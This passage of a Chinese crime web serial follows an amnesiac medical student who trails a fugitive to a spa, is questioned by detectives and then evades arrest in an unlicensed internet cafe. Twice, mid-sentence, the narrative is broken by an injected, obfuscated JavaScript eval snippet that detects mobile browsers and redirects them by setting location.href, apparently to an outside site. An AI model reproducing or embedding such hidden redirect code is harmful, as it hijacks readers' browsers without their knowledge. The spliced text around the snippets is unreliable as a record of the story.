殡仪园是二十三路车的第二站,坐东向车会进市中心,坐西向车则去往始发站通乡。通乡是西江市罗浮区与周边乡镇的交汇地带,前几年开发失败的新商业圈,还未按规划冉冉升起就随配套楼市一道崩殂了。那地方鱼龙混杂。南钗决定赌一把。 风吹不来刘川生的气味,但南钗一下公交车,就感觉这地方藏着些什么。 通乡商圈现在楼比人多,人一少,再高的楼厦也罩着一股死气。这地方像是殡仪园后身那条街的超级加倍版。装潢精致的店铺大半关着,倒是有车进出关卡,保安懒洋洋地在亭内抽烟,还有穿毛绒睡衣的住户出来买章鱼丸子小吃。好像人人都没了信心,消费者的钱不往这里面流,最大的资金流动是产权人们甩不脱的房贷。仿佛晨间升起的暮气,麻木又平和。 南钗展望贴满楼窗的自印租售联系方式,有的号码都残了,还贴着。这地方比平西路更适合藏人。她往小区里面走,保安看都没看她一眼。 “打扰一下。”南钗站在保安亭前面,“我来找我叔叔,他五分钟前说他快到家了,我再打过去就关机,您看见他了吗?” 保安掀起眼皮,不耐烦,“啊?” 南钗比划一下,“我叔叔这么高,很瘦,四十多快五十了。脸这里有皱纹。可能五分钟前从这门进去了,您看见了吗?” “我哪记得住。”保安换了边二郎腿,目光下意识飘向南钗身后。 玻璃反光中,一道男人的身影从南钗身后蹿出去,被畸变到看不出体型。南钗回头,那人已经向斜一晃,转瞬间消失了。 南钗手机按下报警电话,保持未拨出界面。她跑进那小区,却全然找不到目标的踪影。对方就像消失在空气里。 她心下一跳,稳步向前走去,如果刘川生进了这里,那也算一个结论了。 可没走出几分钟,南钗直觉感到微微寒意,背后有些发痒。这次寒意就是打后面来的。 南钗背着天光行走,路面上投的一道影子是她的,余光倏然瞥见另一道影从旁侧闪出,与她的影子擦了过去,迅速抻长又缩短消失。 旁边竟然没有行人,只有小区里生意不太好的奶茶店和洗衣店,看不见人。 不知为什么,南钗总感觉那人在背后跟着她。 7. 凶医 是威慑吗?对方没有现身。那人是不是刘川生呢。 南钗突然很想知道,假如她执意一条路走到黑,对方会不会在僻静的小区深处解决掉她。 她向前走了一段,远离任何可能将她拖拽进去的岔口和门洞。经过地库入口时,被注视的压力消失了。难道是她过于敏感?南钗脚下一转,攥紧手机,回头看去,却是一辆白色吉普车从后路驶来,越过南钗,在前方转弯消失。 原来是辆车。 可它为什么不开进地库里呢? 南钗沿着往里走,在与小区相接的广场旁重新看到那白吉普。它停住了。司机刚下车,是个面貌普通的男人,腆着大肚子,走两步都会喘的体态,正往广场旁一处大牌匾下面去。 “泰罗曼水疗中心。”南钗用手机记下。 水疗中心大约是商圈繁华时期的历史产物,被遗忘在多层住宅区和别墅区之间。门脸两侧的美人鱼装饰柱像回事似的,只是比正常尺寸小了两号,石膏脸蛋灰扑扑的,没人擦。 南钗正要过去,听见身后极其细微清脆的一声“喀嚓”,有点像骨折的声音。 那种被注视的感觉又回来了,她猛地向后转身,逮住一个猝不及防的影子。那影子鬼鬼祟祟地蹲在行道树后,手里举着的不是刀,而是长焦相机,镜头显然对准了她,指头搭在快门上。 大镜头后是一张男人的脸。 南钗头皮发麻,那男人估计也被吓了一跳,往后退两步,作案经验不多的样子。南钗箭步上前擒住他的胳膊,亮亮手机屏幕,沉声说:“我报警了!不管你们打什么主意,最好别在这动手。” 男人却没害怕,仔细瞧她两眼,嘴角一撇:“虽然不知道你妄想了什么,但我没拍你。我有证。” “什么证?” “记者证。”男人比南钗亮手机更快速地立了下证件,又马上收回口袋。 水疗中心那边门开了一下,是白吉普司机走进去了,里面有人往外看,男人一缩脑袋,闪电般往楼影后避去,还冲她反招招手,“看你不是那边人,快走快走,别暴露我。” 南钗跟上去,“你叫凌霄?记者?之前小区门口那个也是你吧。你拍什么呢。” “跟你没关系。”凌霄被连问一串也不恼,把相机塞回包里,打了个呵欠,打到一半又僵住,眯眼看她,“我没见过你。你快走吧,别在这惹麻烦……你不会是同行吧?”他目光变得狐疑。 他约莫三十岁,穿得像个上班族,衣服皱巴巴的,双眼熬得微红,不知在这蹲守了多久。他肯定知道点什么。 “我不是。” 凌霄这才打完剩下半个呵欠,“我猜你也不是,就你这样,最多是个实习生,还是实习不通过那种。” 两人蹲在阴影下,凌霄从背包里拿出个塑料袋,剥出只白扁泡沫盒,开盖露出半份盒饭。他背靠墙蹲着,用一次性筷子扒了两口冷饭,才注意到南钗,“你还有别的事?” 南钗朝水疗中心扬扬下巴,“你为什么调查那里,你觉得里面有什么?” “你再不走,这次该我报警了。”凌霄说话一股青椒肉丝味,一粒米饭从嘴角跃出来,抛物线落在地上,又被他用一截卫生纸撮起,纸团指向远方,“请你离开。” “我知道一点里面的消息。”南钗站起身,一句话点住凌霄,“你也知道一点。咱们换换?” “还套话呢。我没时间跟你玩游戏。” “那里面可能有逃犯。你快走吧,别在这惹麻烦。” 凌霄抬起头,略高的颧骨和胡青组合成木楞的表情,他眨眨眼,什么话都说不出来。 南钗拿出刘川生的照片,在他眼前晃过去,“见过这个人吗?”她躲开凌霄捉抢的动作,灭掉屏幕,很幼稚地举高手机。 “你到底是做什么的?” “抓奸。”南钗眼睛一转,抱住胳膊,“我男朋友经常接触一些不三不四的人。我怕他被带坏,就查到这喽。” 凌霄瞧了她的脸好几秒,像看到什么怪东西似的,嘴唇抿了又抿,把盒饭一放,欲言又止,“那你还是分手吧。世界上男人那么多,何苦呢。” “我们曾经感情很好。除非亲眼看见,否则我不会甘心的。” 话音未落,水疗中心方向传来唰啦啦的响动。一个女店员按住遥控器,提包露出半边桑拿服,电动卷帘门向下盖住店门口,咔嗒一声锁住了。 刚才那辆白吉普也重新发动,大肚子司机搂着女店员上了车,路过南钗二人的藏身点扬长而去。 泰罗曼水疗中心居然在大白天闭店了。 南钗被凌霄拉着走上另一条路,她忽地看见楼角摄像头明显歪了,冲着墙而不是路。凌霄左右看了看,低声慢语:“这个小区的监控都被人搞掉了。” 见南钗还一副思索样子,凌霄语气带了点对恋爱脑的恨铁不成钢,隐晦地说:“你还不明白吗。那里面就不是个正经地方,来的也不是正经人。你男朋友去过一次啊,包准没救。你死心吧。”他还没忘顺杆爬,“现在该你了,你刚说什么逃犯?” 南钗回过神,给他看刘川生那张老狐獴脸,“这人你在附近见过吗?” “这是你男朋友?”凌霄全身一激灵,“没印象了。我回去翻翻照片。” 南钗看神经病一样看他。 “哦,是你说的那些不三不四。你男朋友人脉挺广啊。” 两人在快到小区门口的地方分别,她收下凌霄的电话号,凌霄比了个嘘,“我去那边钻检修口了,那边保安懒得去。有缘再见哈。” 凌霄走了。南钗却没离开小区,在两栋楼间隙站了一会,摸向裤脚,翻出另一部手机。 老式直板按键机,插的非实名电话卡,绿底黑字,上一条通话记录是西江小展昭。她按下保安亭窗贴的电话,嘟了足足六声才接通。 “喂。”那个不敬业的保安的声音。 “是物业吗?五号楼一单元里面有浓烟冒出来,好像谁家着火了!我刚报了火警,你快来看看吧!”她压着嗓子叫道。 “X的,别乱报火警啊!我现在过来。”保安骂了句。 五号楼正是水疗中心旁边那栋,保安紧张着火不奇怪,偏偏他不想闹大的原因是怕招来火警。 南钗快速拔下手机卡,防止被回拨电话。等保安骑电瓶车飙进小区,她才跑到保安亭,门果然没锁。 南钗关掉电脑游戏直播,打开车辆门禁管理终端,在录入表格里敲了七个字符。 江A-B4X50 陈扫天那辆SUV的车牌号。 系统显示“已登记VIP车辆”。 当南钗搜索历史门禁记录时,却发现一片空白。她又输入刚才那辆白吉普的车牌号,依然是已登记,没有任何时间记录。 白吉普半小时前来的,十分钟前走的。 这个系统被故意设置成不存档车辆出入时间。但陈扫天确确实实来过这,可能还是常客。 来不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026836|194460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及多想,南钗复原电脑游戏直播,一路远离了保安亭。直到坐上公交车,窗外街景长胶片似的向后拉去,才发觉通乡已被抛在身后。 邻座乘客换了两三回,南钗的姿势却一直没变,被点了穴般,隔着面巾纸的那块玻璃都被焐热了。 她想给警方打电话。 刘川生必须被抓住,还有水疗中心和陈扫天,事情已经大条了。虽然她不知道现在的自己是否有资格做热心市民。 但对警方从哪里说起呢?从那个被她藏匿的蓝塑料袋,还是那张便利贴? 握着手机松了又紧,最终还是放下,电子日记显示岑逆的速写画像,旁边是“警察”、“离他远点”和“左撇子”几个词。她把手机拿远了些,屏幕一侧,画像的表情冷晦下去。 显灵似的,手机突然震起来。 接起来是个清亮的女声:“你好,南小姐。我是市局刑侦支队的虎山玉。请你明天下午三点到队里,说明一下关于今天殡仪馆的情况。” “好,我知道了。”南钗记下这个名字,她日记里没记过姓虎的警官。 虎山玉说:“感谢配合。”然后嘈杂的背景音陡然寂静,伴随着“咣”一声沉闷的巨响,像是远处有人砸了东西,隔层门板似的。 电话挂断了。 为什么是明天下午?南钗想。警队肯定出事了。 经今天一回,风声会愈发紧,那个被藏起来的塑料袋说不定得动动地方。南钗一想到那张便利贴就头疼。 楼下布控的车果然多了一辆。 回到老屋,南钗坐下敲了敲腿,这两天气温如冰面上的鸭子一般滑下去,涩意钻进骨头缝,她的中药却喝完了。最后一袋的空皮在陈扫天遇害的前夜进了垃圾桶。属实无药可医了。 对了,垃圾一直没时间倒呢。 南钗给泡面倒上开水,蹲身去提书桌旁的垃圾袋,袋子塞太满了,挤着桶一起被拎起来,她晃掉垃圾桶,几颗黄纸球被最上面的空中药袋子一滑,掉在地板上。 捡起来,随手展开,是上周提醒买菜的便利贴。 南钗把它们扔回去,刚要系上袋口,手蓦地僵住。一个滑稽的念头忽然击中了她。她冲进卫生间,出来时拿着大盆和胶皮手套,翻起垃圾里的废弃便利贴来。 都是她的笔迹,写着日常提醒事项。差不多翻到一半,黄纸球没有了,开始变成尺寸更大的淡蓝纸球。 最后南钗翻到一只塑料包装袋,右下角印着字,新款便利贴,工艺升级不留胶,生产于今年初秋,每本六十页。半个月前的购物小票也证明,她买且只买了这一本便利贴。 她快速点过书桌上贴的那些张,和黄纸球们加起来共二十一。抽屉里剩下的半本黄便利贴也被拿出来,南钗数了两次,都剩三十九张。 二十一加三十九等于六十。 一本六十张,一张不差,不多也不少。 南钗静静站起来,掌心纸团被攥得咯吱作响,外面天将黑未黑,老屋冷得厉害,家具轮廓隐没在阴影里,她撬开手机壳,从里面取出另一张折起的黄便利贴,呼吸声在暗室里清晰可闻。 她将它摆在已数过的六十张便利贴旁。 黄昏残余的光洒在上面,吝啬到刚好让人看清字形。 藏起来,别报警。 笔迹和其他买菜写报告的便利贴如出一辙。 这张原本贴在蓝塑料袋的黄便利贴,是不属于这本的第六十一张。 它是从哪来的? 8. 凶医 南钗在西江边跑步。 又是一个清晨,比上次江边的早晨低了几度,天光却格外明朗。她从老屋一路慢跑到江畔那片石子滩,寥寥两名钓鱼人披着风露静坐,青蛙垃圾桶大张着嘴,尽饮江潮送来的凉风。 今天下午三点要去警局报到,她想好了,要把刘川生疑似跑到水疗中心的事说出来。 第六十一张便利贴仍压在手机壳里,沉甸甸的,昭示着一种让南钗浑身舒朗又战栗不已的可能性。 她很可能是被陷害的。 可能存在的敌人对她的了解,甚至超过了今天再次刷新的她自己。 南钗在石栏边停下脚步,挺直腰板,学着不远处青蛙垃圾桶的样子,张大嘴巴灌了一肚子风,滚烫的神经渐渐冷却下来。江边没有路人,只有揽线的钓鱼佬可能注意到她犯傻。她面无表情地原地蹦了两下。 现在还不是全盘托出的时候。她需要一些更有力的证据。 抽丝剥茧,刘川生就是现在唯一的线头。把他送进警察手里再妥当不过。刘川生到底像不像他声称那样,与陈扫天和她双亲的凶案无关,就让刘川生坐在审讯室里对警察交待吧。 如同在山洞中盲行太久的人看到光亮,哪怕照亮的是一道深渊。南钗准时准点,手揣在大衣兜里,一汪幽水似的悄声游进了市局。 一进支队办公区,不少警察往南钗这看,显然已经认识了她的脸。 还是上次那间询问室,自称虎山玉的高个子女警给她一杯水,桌对面还剩个空座,“稍等,岑队马上就到。” 南钗无事可做,研究起虎山玉来。虎山玉开肘稳搭桌上,腰颈一线膝朝正前,像一只危然而卧的金毛虎。那机敏的眼睛没看她,但保准在注意她的目光。一看便是那种在阳光下扎扎实实长起来的人。 果然如虎山玉所说,一男人一阵风似的冲进来,门甩上半边,用鞋跟带了下才关上。那按图索骥应该是岑逆,脸色谈不上好看,戳在虎山玉旁边像根沉过水的千年硬木头,抬眉看南钗,“说说吧。你到静华路殡仪馆干什么去了?你认识他家哪个人?” 南钗静坐不动,“都不认识。” “超级失忆症,是吧。”岑逆往后一靠,扯了扯嘴角,却不是笑,那对像在冷湖里洗过的眼睛锁定在南钗脸上,“我帮你回忆回忆。刘蕊英,你在十一月十一日白天去过她的面馆,并且很可能从人家后门出去了。刘川生,他就不用我介绍了,你的老朋友。” 打字声在询问室格外清晰,虎山玉盯着南钗看个不停,眼前这个比她还年轻几岁的医学生,她想不明白她为何涉入。事实上南钗已经受到优待,如果不是痛快地来了,现在他们该在审讯室而非询问室。 见南钗没反应,岑逆的嗓音更轻了:“十一月四日,你出现在平西路,发现那条街上还有影响你前途的科室副主任陈扫天和通缉犯刘川生。十一月十日,你经过近一周的计划,终于在凌晨找到机会对回到老屋的陈扫天下手。十一月十二日,你出现在方A巧的葬礼这个你本不该出现的地方。你的目的是和刘川生见面。” 南钗还是没有反应,指甲剐过指腹,垂着眼不知神游何方去了。 “发什么呆呢。”岑逆一敲桌子,沉声:“说,你去见刘川生,是为了联络你的同伴,还是追杀你认为的仇人?” “我在十一月十日凌晨动手杀了陈扫天。”南钗突然抛出这句话。 室内所有气压聚于她一点,岑逆和虎山玉齐齐盯住她,一颗看不见的水泡终于被戳破流脓了。南钗没有停顿,直视两人继续交代:“可我为什么在自己家门口动手呢?” “我一周至少五天和陈扫天一起工作,知道他开什么车、是否有基础病以及大致的生活规律。正如你们的侦查结果,我完全有能力掌握陈扫天的行动路线,我可以下毒,可以破坏车辆的刹车片,可以将他约到一个没人知道的地方再下手。我却偏偏选择了对自己最不利的地点,杀死陈扫天,把尸体扔在现场,然后独自回到家一觉睡到你们来敲门。这一切假设还要发生在我有信心正面杀死一名壮年男人的基础上。” 岑逆沉默地倾听着。那天老楼302死亡现场的确连门都没关。他按动手指关节,目光回到南钗脸上,“你说得很全面,也很令人信服。但故意忽略了唯一一个重要变量,刘川生。” “你觉得那天是刘川生帮我杀了陈扫天?”南钗问。 “难道不是吗?”岑逆反问。南钗听出这是一种顺势挤压受审人的手段。 “我最开始也是这么想的。”南钗身体向前微倾,“但我在殡仪馆火化区见到他时,他不承认杀过陈扫天。”顿了一下,“也不承认杀过我的父母。” 岑逆皱眉,“你的意思是,你潜入刘川生母亲的葬礼,是为了陈扫天案和二一三案去和刘川生当面对质?” “刘川生十一月四日之前患上了心肌类疾病。”南钗拳头敲敲心口,“我有一张十一月四日在平西路的速写,记录了你们的监控探头捕捉不到的细节。今天我把它带来了,就在个人物品存放处。言归正传,那场葬礼是见到刘川生的唯一机会,如果他看上去心病未愈,就能排除他杀害陈扫天的嫌疑。我去葬礼是为了判定这一点。” “为什么开始不告诉警方?”岑逆拿起那幅被临时取来的小画,不放过任何细节。南钗静默不语,岑逆也没追问,交待小贾去比对视频和速写后,又说:“刘川生在警方的包围下逃出了殡仪馆,显然具备作案能力。他的确在火化区打过你,貌似证实了你们是敌人而非同伴。但是……” 南钗这次打断了岑逆,“我和刘川生不可能建立合作。第一,陈扫天依然没道理被杀死在我隔壁。第二,刘川生是二一三悬案的最大嫌疑犯。” “他不是。”岑逆平静地说:“十五年前刘川生接连犯下一二八案和二一二案两起灭门案。其中二一二案只比二一三案早几个小时,案发地点却相差几十公里。而且最重要的是作案特征不同。”他受到心理暗示似的动了下胳膊。 南钗猛然道:“刘川生是左撇子。”日记图集里刘川生掷锹和刘蕊英提刀,用的都是左手。 “对。他们全家都是左利手。”岑逆用左手旋转钢笔,笔尾点在桌面上,“二一三案的凶手是右利手。” “人可以自我训练非惯用手。”南钗说:“假设刘川生是二一三案的真凶,二一三案是他犯下的第三起命案,他完全有自我调整的余地。” 虎山玉看了岑逆一眼,岑逆没反应,虎山玉转头对南钗说:“十五年前你被人跟踪过吗?或者有没有陌生人接近过当时的你。” “我没有那段记忆。为什么问这个?” “再说就违纪了。”岑逆咳一声,调了下坐姿,虎山玉不再问了。一时间只有摄录设备发出难以察觉的嗡鸣。岑逆的眼光毫无波动,“昨天,十一月十二日你逃离殡仪馆并在老区墙头留下偷来的西装外套。这个过程中是否有人与你同行?” “没有。我尝试追踪刘川生,上了二十三路公交车,在终点站通乡大道下车。”南钗心里的另一只靴子落了地,她正色道:“我没再看见刘川生,但很可能找到了他的藏匿地点。” “通乡大道,盛天新城,里面有个泰罗曼水疗中心。不管刘川生是否在那,那个地方都不对劲。” 终于,在长久的寂静中,南钗看见岑逆的表情变了。 送南钗离开警局的是虎山玉。 那种利剑般的气场已经收敛,或许南钗的话给了他们新的方向。她暂时取信于警方,所有力量都集中于撕破刘川生所代表的那片黑暗。这是个好的开始。 在院门口告别时,虎山玉犹豫片刻,还是轻轻拦住南钗,说:“如果你或你家的亲朋能确定十五年前你是否被 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南钗刚要开口,苏袖那边又通上话了。她手握筷子在碗里戳来戳去,足足戳了十分钟,苏袖才摘掉耳机。南钗把鱼刺在纸巾上排成一列,碗底剩的鱼肉压成一张薄饼,试图在上面画小人。苏袖挑挑眉,打断她的艺术创作,“说正事。我今天很忙。” “2X11年……二一三案案发前,我有没有被人跟踪过,或者奇怪的陌生人接近我?”南钗问。 苏袖想了片刻,随口说:“我没听说过。那时我工作忙,有很长一段时间没和你母亲联系。” 南钗毫不惊讶,又问:“小外婆呢?她也没听人说过吗。” “我妈去世前没提过。”苏袖看着南钗,又转瞬移开视线,“二一三案发半年前你生了病,之后听说身体也不好,依你父母的性格,应该把你照顾得很严。” 失望的气氛在餐桌下蔓延,南钗嘘出一口气,直直看着餐桌,“我那时身体不好么。”南钗不记得父母是如何照顾她的,事实上,她对以前的那个家也没印象了,“好吧,打扰你了。先吃饭吧,这家的鱼很好吃,我读书时来过几次。” 南钗不再看她,递过一双筷子,被苏袖按住,苏袖的手瘦而凉,海藻一样搭在她手背上。苏袖说:“听说你又被叫到警局了。那个陈副主任的事还没解决吗?” 又来了。 这种班主任式的语气。 在南钗的日记里,苏袖天然就和她命里反冲。她脖子抖了下,正想推诿,苏袖的手机又亮了。南钗趁机,“工作很忙啊。” “班上的学生。成绩一塌糊涂,我就没见过性格这么闷的。虽然情有可原吧,但家里再不干预,早晚捅出比你还大的娄子。”苏袖斜了南钗一眼,拿起电话,仍不肯放人,“坐着。我还没和你说完。” “我上厕所。”南钗假笑,拿手机往卫生间走。 转过大堂折廊才觉得空气清新起来。南钗猜测自己不是全无记忆,表层记忆没有,生理和肌肉记忆很可能存在。苏袖身上有种淡茉莉香水的味,一闻到,就让她条件反射不太舒服。 洗完手走出卫生间,南钗刚走到转角,下意识一刹。 苏袖和她的桌子临窗邻门,玻璃门正被人推开,落地窗外闪烁的红蓝双色眩光,完全吞没了路灯的暖黄。一团,两团,一共三团红蓝,来自三辆车的车顶…… 那个推门进来的人被看清了,是几小时前才见过的岑逆,他带人径直走向苏袖的桌子,看清另一边没有南钗后,提起一张文件纸,身后警员溪流般涌入餐厅深处。 面对站起的苏袖和闻声而来的大堂经理,岑逆声沉如铁: “我们是市局刑侦支队民警,现依法对涉嫌一一零案件的嫌疑人南钗进行拘传。这是法律文书,请全体人员配合工作。” 9. 凶医 南钗立刻转身,朝折廊深处走去。她微微侧过头,路过一名不知所以的服务员,戴上兜帽,一闪身蹿过餐厅后厨,在引起注意前取下墙上的围裙,一边系一边往餐厅后门走。 望着空荡的拐角处,岑逆眯了眯眼,按下对讲机,“小贾,你带个人去餐厅后门看看。后面的人到位了吗。” 身后遥远处传来脚步声,南钗加快步伐,细长发卡往手机卡槽一戳,电话卡弹出,智能手机瞬间黑屏。在那脚步声追上来之前,她绕出餐厅后门。 夜空如水,寒风四起,后门外只有个胖厨师在吸烟,南钗一路顺小路走过去,黑猫一样没发出任何声响。这附近一定有警察蹲守。 再往前是大学城的美食一条街,人多且乱,岔路口是个险要关隘。南钗曾在这生活过四年,地图早就刻在脑子里,她毫不犹豫,直接转向一处看似死胡同的小巷。 那原本是个废弃多年的公厕,规划建设不良,被后建的美食街围起来也没拆除。外壁与巷墙留有半人窄宽的空隙,外面根本看不出来。 南钗从那挤过去,又徒手翻过一道隔墙,在另一街道的无人处落地,口袋里硬物叮铃碰撞,声音消弭在黑暗中。 是钥匙,老屋肯定回不去了。南钗攥紧袖口,深深吸了口气,到底出什么事了? 几小时前还好好的,她确认自己被人栽赃陷害,抓到刘川生的尾巴,与警方建立了初步互信,一切都往好的方向发展。可光明的愿景在夜晚降临之后猝然熄灭。 她自己都搞不清状况,现在算畏罪潜逃还是别的什么。岑逆能批下拘传文件,他们必然新掌握了某种不在她逻辑内的铁证,难道是她藏在老楼那边的蓝塑料袋被发现了? 不对,第六十一张便利贴正被她隔着手机壳攥着,蓝塑料袋上没有任何记认,没有指纹,不在她家里。就算被找到,也是真凶藏匿在那的,和她没有物证上的联系。起码不会在几小时内被戳穿。 一条街外的警笛声让人心里发毛,南钗将餐厅围裙折块塞进衣兜,混进来来往往的学生当中,避着摄像头,朝大学城的北侧边缘走去。平江省医科大学坐落在那,不知母校是否能庇护她一夜。 医科大学在夜色中沉默,南钗面貌和其他年轻人无甚区别,无人侧目,只是心境格外沉凝。她半年前与学校阔别时是学子,然后是医院实习生,现在成了被拘传的在逃人员。身份量级倒是急转直上了。 南钗钻了个外卖小哥常用的栅栏洞,越过灯火通明的图书馆,向前一段就是她曾经的寝室楼。大三时换过一次寝室,那间寝室无故返潮,剂量大到足以杀灭三代老鼠和九族蟑螂的除潮剂喷下去,墙皮还是一层层泛出霉斑。为免这四个人躺着与课堂师生相见,学校批准她们搬寝。再之后那间就空了,钥匙还留在南钗手里。 在阴暗斗室里与霉菌相伴一宿,总好过空手被带进审讯室。这次是真格的了。南钗有种预感。 远远看见宿管阿姨那扇窗暗着,人好像不在。她心中一喜。但刚走了两步,就一身冷汗从头泼到后背。 宿舍楼前面站着几道人影,虎山玉身穿便装,和另外两张普通的男性面孔一道站着,旁边是宿管阿姨,几人都没笑,朝通路两侧张望。 虎山玉望向茫茫黑夜,寒意顺着裤腿爬上皮肤,心中无声叹了口气。她第一面挺喜欢南钗,现在那种好印象变成了一颗突然裂出毒汁的苹果,那么年轻惹人喜爱的一张脸,皮下竟全是谎言。一想到南钗在堂而皇之来警局施骗前掩埋了什么,她又是如何偏信了她的一面之词,虎山玉就耻觉自己仍需修炼。 “B组有动静吗。”岑逆的声音从耳机传出来,“监控显示目标离开红豆餐厅向北移动,可能前往医大或医大附二。我继续盯老桃源小区和苏袖家。你带人联合杏坛桥和葫芦庙派出所的民警加强搜索,务必在目标放弃藏匿于生活圈前把人截住。” 虎山玉回答:“是,岑队。” 黑暗中南钗踽踽独行,西江苍茫,她此刻万分想再听一次西江拍岸的声音,但不得不朝背离江岸的方向远去了。 再往北走夜间霓虹渐少,进入黄粱区,这里是西江老城,夜生活并不繁华,街块楼宇列如永停于此的火车。偶尔远处扬起的警笛能震得人心脏微颤。过了远处巨泊船般的老商厦,南钗从阴影钻出来,前面就是她读过的中学。 她调转方向,一头扎进老中学附近的拆迁区,在迷宫里走到头,停在一扇不起眼的破门前,门锁着,上面没牌匾,窗户里面贴了陈年广告纸。 “叩叩叩。”南钗轻轻敲门,等两分钟没反应,又加大力度敲了一次。 拆迁区寂静无声,只回荡着铁门的低吟,南钗莫名想起平西路蕊英面馆后身,居民区里冲她叫嚷的那只狗。铁门毫无动静,里面似乎没人,南钗突然转脸,对上贴纸窗缝后的一只眼睛,吓得对方一缩,她听见骂声。 “我找人斗地主。”南钗说。 那人咬了舌头似的,眼珠上下看了南钗两回,反口说了句:“有病吧,大晚上打什么牌,我认识你吗?走走走,我家睡觉了。” 他说着就要关窗,窗户却被一根发卡格住。南钗在月光下露出一个微笑,不知为何有些寒凉,她一句话止住那人的骂声,“在这斗地主,就得晚上。” 那人的目光终于变了色,反复确认南钗的脸,还是不认识,但这次他抛下没关紧的窗缝,过了几秒钟,铁门后传来锁链哗啦的声音。 门开了。 “您哪年的文物啊。我怎么没见过你。”那人是个满脸痘坑的中年黄毛,薄羽绒马甲浸透烟味,脚踝上有纹身,“你认识我?” 南钗跟他往里走,又过了一道塑料门,进去一股热烘烘的杂气涌过来。泡面味头油味烟酒味,都在键盘鼠标的敲击声中沉浮。这里藏着个不用身份证的黑网吧。 原来他就是地主,南钗对不上脸了。地主是几年前夜班网管的绰号,他原名姓才,很抠门,熟客都叫他地主老财。斗地主是当时敲门进屋的暗号,估计早被改了。 “开一台机子。”南钗从手机壳后扯出两张红钞,递过一张,“拿两瓶矿泉水,煮个红烧牛肉面。”又顿了下,“再来包饼干。借我个充电器。” 地主还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026838|194460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她几张散钞,南钗站在柜台前,兜帽遮住脸,网吧里倒没什么人看她。这里鱼龙混杂,中学日记里写过一回,早上被偷了钱,晚上就在这撞上学校附近的扒手,差点打起来。还是地主出面平了事,他怕招来警察。当时南钗猜了一笔,这里的某些客人可能比黑网吧本身更经不起查。 电竞椅破破烂烂,像是windowsXP时代留下的产物,南钗找个舒服的角度坐下,又突然睁开眼,去问地主,“有卫生间吗。” 卫生间比想象的干净一些,老黄灯泡照在抽水箱上,南钗打开按键手机,黑绿像素点浮出开机欢迎语。 通讯录有两条号码,一条是西江小展昭,另一条是凌霄。 南钗犹豫片刻,还是拨通了凌霄的电话。嘟响四声过后,电话接通。 “哎?”凌霄声音哑哑的,像在室内。 “还记得我吗。凌记者。”南钗愉快地问:“我们在盛天新城见过。” “啊,是你啊,你有什么事吗?我还不知道你叫什么呢。” “我有事拜托你,也算个大新闻吧,不知道能不能当你素材。听不听?” 凌霄精神了,一阵从床上坐起的声音,“你说你说!” 南钗往厕所门外听了两秒,没人过来,她的声音轻而清晰,“我住大学城那边,今天晚上看见好多警察好像在抓人,动静可大了。就是龙裕火锅和红豆餐厅那边。” “哦?还有呢。具体是几点?”凌霄那边传来敲键盘的动静。 “晚上七点左右吧。唉,我越想越害怕,晚上都不敢睡觉了。我……我前男友的事你也听过,他也不知道和什么人接触过,我怕他招来坏人。你们新闻业消息广,能不能打听到出什么事了,要是吓人,我可得搬去我亲戚家住两天,我租这房子连防盗窗都没有。这事对你们记者也有价值吧。” “有的有的。太谢谢你了。”凌霄很高兴,“行,我查到就告诉你。哎不对,你刚才说什么,前男友?恭喜你啊。” 南钗放下手机,表情出现断层,戏剧式的愉快冷却下去,沉默许久。 回到机位,她又给智能手机插上电,屏幕亮起,显示无电话卡,但日记可以调用。南钗背过人,记下这一天惊魂难安的回忆。 日记分三个部分,分别标蓝绿红,蓝色是每日必读的自我认知,绿色是可查阅的事件记录,红色则是日程表式的指令提醒。她一一写好。 最后,南钗趴上电脑桌,闭上眼。 睡着前的最后一个念头是,家里的警察不会倒掉她那袋垃圾吧? 次日早上。 她肩颈酸痛地坐起来,后脑勺撞上电竞椅背,她竟然在一间网吧里。一硬沉薄片硌着手臂震动,她从袖子里取出一部智能手机。 锁屏亮起,早上五点半。 上面一句话:你是南钗,你患有失忆症,目前你是一名逃犯,务必相信这点。请查看电子笔记,确认今日生存环境。 日记的指令栏亮着,有条消息提醒。 躲避警察,乔装前往泰罗曼水疗中心,寻找刘川生或其他可疑目标。 10. 凶医 外头天光被洗褪色似的泛了白,网吧里的灯还是亮的,没窗户,一个样子难辨昼夜。留在这包夜的人大都缩起来睡了,只剩几个还在与屏幕光效酣战。地主戴上帽子,提起昨夜剩的俩汉堡,准备下班。 他却被拦住了,南钗晦暗地看了他一眼,“能借一步说话么。” 南钗身上还带着外头的寒意,刚从门外赶回来。长发短了,清汤挂面似的扣在下颌两侧,显得脖颈直溜溜地孤清。头上多了顶露天摊风格的鸭舌帽;宽松黑卫衣全是小破洞,一刀裁掉下摆,线头乖张,短到悬在裤边之上;领子剪开V形,朝锁骨两边垂去,土潮土潮的。 地主没看出来那是她昨天穿的衣服。 两人走到墙根后面。南钗扭着一根手指,略低了头,眼睛抬起来看他旁边的墙面,蹦出一句:“地主哥,我想找工作。” “我这不招人。”地主下意识说,有点哑火,“你到底怎么认识我的?” 南钗说:“我不在你这找。我以前在这边上过学,后来不念了。你真的假的?忘性这么大。” “真不记得了,妹妹。上岁数,记性不好。”地主挠了挠头,又想起刚才那茬,“我真没工作给你介绍,要不你上西江同城网站找找。” 